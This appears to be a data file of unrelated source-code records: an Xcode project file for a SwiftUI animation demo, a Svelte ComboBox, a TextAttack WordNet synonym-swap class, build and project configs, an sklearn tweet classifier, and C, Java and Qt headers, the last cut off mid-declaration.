PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = \"\"; };\n\t\t962AEB8F22A920A5007F789B /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"\"; };\n\t\t962AEB9222A920A5007F789B /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = \"Preview Assets.xcassets\"; sourceTree = \"\"; };\n\t\t962AEB9522A920A5007F789B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = \"\"; };\n\t\t962AEB9722A920A5007F789B /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\t962AEB8322A920A4007F789B /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\t962AEB7D22A920A4007F789B = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t962AEB8822A920A4007F789B /* SwiftUI-BasicAnimation */,\n\t\t\t\t962AEB8722A920A4007F789B /* Products */,\n\t\t\t);\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t962AEB8722A920A4007F789B /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t962AEB8622A920A4007F789B /* SwiftUI-BasicAnimation.app */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t962AEB8822A920A4007F789B /* SwiftUI-BasicAnimation */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t962AEB8922A920A4007F789B /* AppDelegate.swift */,\n\t\t\t\t962AEB8B22A920A4007F789B /* SceneDelegate.swift */,\n\t\t\t\t962AEB8D22A920A4007F789B /* ContentView.swift */,\n\t\t\t\t962AEB8F22A920A5007F789B /* Assets.xcassets */,\n\t\t\t\t962AEB9422A920A5007F789B /* LaunchScreen.storyboard */,\n\t\t\t\t962AEB9722A920A5007F789B /* Info.plist */,\n\t\t\t\t962AEB9122A920A5007F789B /* Preview Content */,\n\t\t\t);\n\t\t\tpath = \"SwiftUI-BasicAnimation\";\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t962AEB9122A920A5007F789B /* Preview Content */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t962AEB9222A920A5007F789B /* Preview Assets.xcassets */,\n\t\t\t);\n\t\t\tpath = \"Preview Content\";\n\t\t\tsourceTree = \"\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\t962AEB8522A920A4007F789B /* SwiftUI-BasicAnimation */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 962AEB9A22A920A5007F789B /* Build configuration list for PBXNativeTarget \"SwiftUI-BasicAnimation\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t962AEB8222A920A4007F789B /* Sources */,\n\t\t\t\t962AEB8322A920A4007F789B /* Frameworks */,\n\t\t\t\t962AEB8422A920A4007F789B /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = \"SwiftUI-BasicAnimation\";\n\t\t\tproductName = \"SwiftUI-BasicAnimation\";\n\t\t\tproductReference = 962AEB8622A920A4007F789B /* SwiftUI-BasicAnimation.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\t962AEB7E22A920A4007F789B /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tLastSwiftUpdateCheck = 1100;\n\t\t\t\tLastUpgradeCheck = 1100;\n\t\t\t\tORGANIZATIONNAME = \"Meng To\";\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\t962AEB8522A920A4007F789B = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 11.0;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = 962AEB8122A920A4007F789B /* Build configuration list for PBXProject \"SwiftUI-BasicAnimation\" */;\n\t\t\tcompatibilityVersion = \"Xcode 9.3\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = 962AEB7D22A920A4007F789B;\n\t\t\tproductRefGroup = 962AEB8722A920A4007F789B /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\t962AEB8522A920A4007F789B /* SwiftUI-BasicAnimation */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\t962AEB8422A920A4007F789B /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t962AEB9622A920A5007F789B /* LaunchScreen.storyboard in Resources */,\n\t\t\t\t962AEB9322A920A5007F789B /* Preview Assets.xcassets in Resources */,\n\t\t\t\t962AEB9022A920A5007F789B /* Assets.xcassets in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\t962AEB8222A920A4007F789B /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t962AEB8A22A920A4007F789B /* AppDelegate.swift in Sources */,\n\t\t\t\t962AEB8C22A920A4007F789B /* SceneDelegate.swift in Sources */,\n\t\t\t\t962AEB8E22A920A4007F789B /* ContentView.swift in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin PBXVariantGroup section */\n\t\t962AEB9422A920A5007F789B /* LaunchScreen.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\t962AEB9522A920A5007F789B /* Base */,\n\t\t\t);\n\t\t\tname = LaunchScreen.storyboard;\n\t\t\tsourceTree = \"\";\n\t\t};\n/* End PBXVariantGroup section */\n\n/* Begin XCBuildConfiguration section */\n\t\t962AEB9822A920A5007F789B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 13.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t962AEB9922A920A5007F789B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 13.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_COMPILATION_MODE = wholemodule;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-O\";\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t962AEB9B22A920A5007F789B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_ASSET_PATHS = \"SwiftUI-BasicAnimation/Preview\\\\ Content\";\n\t\t\t\tDEVELOPMENT_TEAM = 68WS2M23VC;\n\t\t\t\tENABLE_PREVIEWS = YES;\n\t\t\t\tINFOPLIST_FILE = \"SwiftUI-BasicAnimation/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"io.designcode.SwiftUI-BasicAnimation\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t962AEB9C22A920A5007F789B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_ASSET_PATHS = \"SwiftUI-BasicAnimation/Preview\\\\ Content\";\n\t\t\t\tDEVELOPMENT_TEAM = 68WS2M23VC;\n\t\t\t\tENABLE_PREVIEWS = YES;\n\t\t\t\tINFOPLIST_FILE = \"SwiftUI-BasicAnimation/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"@executable_path/Frameworks\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"io.designcode.SwiftUI-BasicAnimation\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSWIFT_VERSION = 5.0;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\t962AEB8122A920A4007F789B /* Build configuration list for PBXProject \"SwiftUI-BasicAnimation\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t962AEB9822A920A5007F789B /* Debug */,\n\t\t\t\t962AEB9922A920A5007F789B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t962AEB9A22A920A5007F789B /* Build configuration list for PBXNativeTarget \"SwiftUI-BasicAnimation\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t962AEB9B22A920A5007F789B /* Debug */,\n\t\t\t\t962AEB9C22A920A5007F789B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = 962AEB7E22A920A4007F789B /* Project object */;\n}\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\n//\n\n@class NSString;\n\n@protocol EmoticonUploadCgiDelegate\n- (void)onEmoticonUploadMd5Failed:(NSString *)arg1;\n- (void)onEmoticonUploadMd5Ok:(NSString *)arg1;\n@end\n\n"} +{"text": "from nltk.corpus import wordnet\n\nimport textattack\nfrom textattack.transformations.word_swap import WordSwap\n\n\nclass WordSwapWordNet(WordSwap):\n \"\"\"Transforms an input by replacing its words with synonyms provided by\n WordNet.\"\"\"\n\n def __init__(self, language=\"eng\"):\n if language not in wordnet.langs():\n raise ValueError(f\"Language {language} not one of {wordnet.langs()}\")\n self.language = language\n\n def _get_replacement_words(self, word, random=False):\n \"\"\"Returns a list containing all possible words with 1 character\n replaced by a homoglyph.\"\"\"\n synonyms = set()\n for syn in wordnet.synsets(word, lang=self.language):\n for syn_word in syn.lemma_names(lang=self.language):\n if (\n (syn_word != word)\n and (\"_\" not in syn_word)\n and (textattack.shared.utils.is_one_word(syn_word))\n ):\n # WordNet can suggest phrases that are joined by '_' but we ignore phrases.\n synonyms.add(syn_word)\n return list(synonyms)\n"} +{"text": "\n\n {\n if (open && ref && !ref.contains(target)) {\n open = false;\n }\n }}\" />\n\n
    \n {#if titleText}\n \n {titleText}\n \n {/if}\n \n {\n open = true;\n }}\"\n id=\"{id}\"\n name=\"{name}\"\n disabled=\"{disabled}\"\n translateWithId=\"{translateWithId}\"\n >\n {\n inputValue = target.value;\n }}\"\n on:keydown\n on:keydown|stopPropagation=\"{({ key }) => {\n if (key === 'Enter') {\n open = !open;\n if (highlightedIndex > -1 && highlightedIndex !== selectedIndex) {\n selectedIndex = highlightedIndex;\n open = false;\n }\n } else if (key === 'Tab') {\n open = false;\n } else if (key === 'ArrowDown') {\n change(1);\n } else if (key === 'ArrowUp') {\n change(-1);\n } else if (key === 'Escape') {\n open = false;\n }\n }}\"\n on:focus\n on:blur\n on:blur=\"{({ relatedTarget }) => {\n if (relatedTarget && relatedTarget.getAttribute('role') !== 'button') {\n ref.focus();\n }\n }}\"\n disabled=\"{disabled}\"\n placeholder=\"{placeholder}\"\n id=\"{id}\"\n value=\"{inputValue}\"\n />\n {#if invalid}\n \n {/if}\n {#if inputValue}\n {\n selectedIndex = -1;\n open = false;\n ref.focus();\n }}\"\n translateWithId=\"{translateWithId}\"\n disabled=\"{disabled}\"\n open=\"{open}\"\n />\n {/if}\n {\n e.stopPropagation();\n open = !open;\n }}\"\n translateWithId=\"{translateWithId}\"\n open=\"{open}\"\n />\n \n {#if open}\n \n {#each filteredItems as item, i (item.id || i)}\n {\n selectedIndex = items\n .map(({ id }) => id)\n .indexOf(filteredItems[i].id);\n open = false;\n }}\"\n on:mouseenter=\"{() => {\n highlightedIndex = i;\n }}\"\n >\n {itemToString(item)}\n \n {/each}\n \n {/if}\n \n {#if !invalid && helperText}\n \n {helperText}\n
    \n {/if}\n\n"} +{"text": "AM_CPPFLAGS = \\\n\t-I$(top_srcdir)/src/lib \\\n\t-I$(top_srcdir)/src/lib-mail \\\n\t-I$(top_srcdir)/src/lib-index \\\n\t-I$(top_srcdir)/src/lib-storage\n\nNOPLUGIN_LDFLAGS =\nlib99_welcome_plugin_la_LDFLAGS = -module -avoid-version\n\nmodule_LTLIBRARIES = \\\n\tlib99_welcome_plugin.la\n\nlib99_welcome_plugin_la_SOURCES = \\\n\twelcome-plugin.c\n"} +{"text": "Type=Exe\nReference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\WINNT\\System32\\stdole2.tlb#OLE Automation\nModule=startup; startup.bas\nModule=Winsock; Winsock.bas\nStartup=\"Sub Main\"\nHelpFile=\"\"\nExeName32=\"vbpinfoexe.exe\"\nCommand32=\"\"\nName=\"vbpinfo\"\nHelpContextID=\"0\"\nCompatibleMode=\"0\"\nMajorVer=1\nMinorVer=0\nRevisionVer=0\nAutoIncrementVer=0\nServerSupportFiles=0\nVersionCompanyName=\"microsoft\"\nCompilationType=0\nOptimizationType=0\nFavorPentiumPro(tm)=0\nCodeViewDebugInfo=0\nNoAliasing=0\nBoundsCheck=0\nOverflowCheck=0\nFlPointCheck=0\nFDIVCheck=0\nUnroundedFP=0\nStartMode=0\nUnattended=0\nRetained=0\nThreadPerObject=0\nMaxNumberOfThreads=1\n\n[MS Transaction Server]\nAutoRefresh=1\n"} +{"text": "import pandas as pd\nimport numpy as np\n\n\ndf = pd.read_csv('tweets.csv')\ntarget = df['is_there_an_emotion_directed_at_a_brand_or_product']\ntext = df['tweet_text']\n\nfixed_text = text[pd.notnull(text)]\nfixed_target = target[pd.notnull(text)]\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.pipeline import Pipeline\n\np = Pipeline(steps=[('counts', CountVectorizer(ngram_range=(1, 2))),\n ('multinomialnb', MultinomialNB(alpha=0))])\n\np.fit(fixed_text, fixed_target)\nprint(p.predict([\"I love my iphone!\"]))\n#print(p.named_steps['counts'].vocabulary_.get(u'garage sale'))\n#print(len(p.named_steps['counts'].vocabulary_))\n"} +{"text": "/* Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#ifndef SDBM_PAIR_H\n#define SDBM_PAIR_H\n\n/* Mini EMBED (pair.c) */\n#define chkpage apu__sdbm_chkpage\n#define delpair apu__sdbm_delpair\n#define duppair apu__sdbm_duppair\n#define fitpair apu__sdbm_fitpair\n#define getnkey apu__sdbm_getnkey\n#define getpair apu__sdbm_getpair\n#define putpair apu__sdbm_putpair\n#define splpage apu__sdbm_splpage\n\nint fitpair(char *, int);\nvoid putpair(char *, apr_sdbm_datum_t, apr_sdbm_datum_t);\napr_sdbm_datum_t getpair(char *, apr_sdbm_datum_t);\nint delpair(char *, apr_sdbm_datum_t);\nint chkpage (char *);\napr_sdbm_datum_t getnkey(char *, int);\nvoid splpage(char *, char *, long);\nint duppair(char *, apr_sdbm_datum_t);\n\n#endif /* SDBM_PAIR_H */\n\n"} +{"text": "package com.baasbox.service.push.providers;\n\nimport com.baasbox.exception.BaasBoxPushException;\n\npublic class PushCollapseKeyFormatException extends BaasBoxPushException {\n\tpublic PushCollapseKeyFormatException(String message){\n\t\tsuper(message);\n\t}\n\t\n\tpublic PushCollapseKeyFormatException() {\n\t\tsuper();\n\t\t// TODO Auto-generated constructor stub\n\t}\n\n\tpublic PushCollapseKeyFormatException(String arg0, Throwable arg1) {\n\t\tsuper(arg0, arg1);\n\t\t// TODO Auto-generated constructor stub\n\t}\n\n\tpublic PushCollapseKeyFormatException(Throwable arg0) {\n\t\tsuper(arg0);\n\t\t// TODO Auto-generated constructor stub\n\t}\n}\n"} +{"text": "/****************************************************************************\n**\n** Copyright (C) 2016 The Qt Company Ltd.\n** Contact: https://www.qt.io/licensing/\n**\n** This file is part of the QtWidgets module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms\n** and conditions see https://www.qt.io/terms-conditions. For further\n** information use the contact form at https://www.qt.io/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 3 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL3 included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 3 requirements\n** will be met: https://www.gnu.org/licenses/lgpl-3.0.html.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 2.0 or (at your option) the GNU General\n** Public license version 3 or any later version approved by the KDE Free\n** Qt Foundation. The licenses are as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3\n** included in the packaging of this file. Please review the following\n** information to ensure the GNU General Public License requirements will\n** be met: https://www.gnu.org/licenses/gpl-2.0.html and\n** https://www.gnu.org/licenses/gpl-3.0.html.\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************/\n\n#ifndef QSTYLESHEETSTYLE_P_H\n#define QSTYLESHEETSTYLE_P_H\n\n#include \n#include \"private/qwindowsstyle_p.h\"\n\n#ifndef QT_NO_STYLE_STYLESHEET\n\n#include \"QtWidgets/qstyleoption.h\"\n#include \"QtCore/qhash.h\"\n#include \"QtGui/qevent.h\"\n#include \"QtCore/qvector.h\"\n#include \"QtCore/qset.h\"\n#include \"QtWidgets/qapplication.h\"\n#include \"private/qcssparser_p.h\"\n#include \"QtGui/qbrush.h\"\n\nQT_BEGIN_NAMESPACE\n\n//\n// W A R N I N G\n// -------------\n//\n// This file is not part of the Qt API. It exists purely as an\n// implementation detail. This header file may change from version to\n// version without notice, or even be removed.\n//\n// We mean it.\n//\n\nclass QRenderRule;\nclass QAbstractScrollArea;\nclass QStyleSheetStylePrivate;\nclass QStyleOptionTitleBar;\n\nclass Q_AUTOTEST_EXPORT QStyleSheetStyle : public QWindowsStyle\n{\n typedef QWindowsStyle ParentStyle;\n\n Q_OBJECT\npublic:\n QStyleSheetStyle(QStyle *baseStyle);\n ~QStyleSheetStyle();\n\n void drawComplexControl(ComplexControl cc, const QStyleOptionComplex *opt, QPainter *p,\n const QWidget *w = 0) const Q_DECL_OVERRIDE;\n void drawControl(ControlElement element, const QStyleOption *opt, QPainter *p,\n const QWidget *w = 0) const Q_DECL_OVERRIDE;\n void drawItemPixmap(QPainter *painter, const QRect &rect, int alignment, const QPixmap &pixmap) const Q_DECL_OVERRIDE;\n void drawItemText(QPainter *painter, const QRect& rect, int alignment, const QPalette &pal,\n bool enabled, const QString& text, QPalette::ColorRole textRole = QPalette::NoRole) const Q_DECL_OVERRIDE;\n void drawPrimitive(PrimitiveElement pe, const QStyleOption *opt, QPainter *p,\n const QWidget *w = 0) const Q_DECL_OVERRIDE;\n QPixmap generatedIconPixmap(QIcon::Mode iconMode, const QPixmap &pixmap,\n const QStyleOption *option) const Q_DECL_OVERRIDE;\n SubControl hitTestComplexControl(ComplexControl cc, const QStyleOptionComplex *opt,\n const QPoint &pt, const QWidget *w = 0) const Q_DECL_OVERRIDE;\n QRect itemPixmapRect(const QRect &rect, int alignment, const QPixmap &pixmap) const Q_DECL_OVERRIDE;\n QRect itemTextRect(const QFontMetrics &metrics, const QRect &rect, int alignment, bool enabled,\n const QString &text) const Q_DECL_OVERRIDE;\n int pixelMetric(PixelMetric metric, const QStyleOption *option = 0, const QWidget *widget = 0) const Q_DECL_OVERRIDE;\n void polish(QWidget *widget) Q_DECL_OVERRIDE;\n void polish(QApplication *app) Q_DECL_OVERRIDE;\n void polish(QPalette &pal) Q_DECL_OVERRIDE;\n QSize sizeFromContents(ContentsType ct, const QStyleOption *opt,\n const QSize &contentsSize, const QWidget *widget = 0) const Q_DECL_OVERRIDE;\n QPalette standardPalette() const Q_DECL_OVERRIDE;\n QIcon standardIcon(StandardPixmap standardIcon, const QStyleOption *opt = 0,\n const QWidget *widget = 0) const Q_DECL_OVERRIDE;\n QPixmap standardPixmap(StandardPixmap standardPixmap, const QStyleOption *option = 0,\n const QWidget *w = 0 ) const Q_DECL_OVERRIDE;\n int layoutSpacing(QSizePolicy::ControlType control1, QSizePolicy::ControlType control2,\n Qt::Orientation orientation, 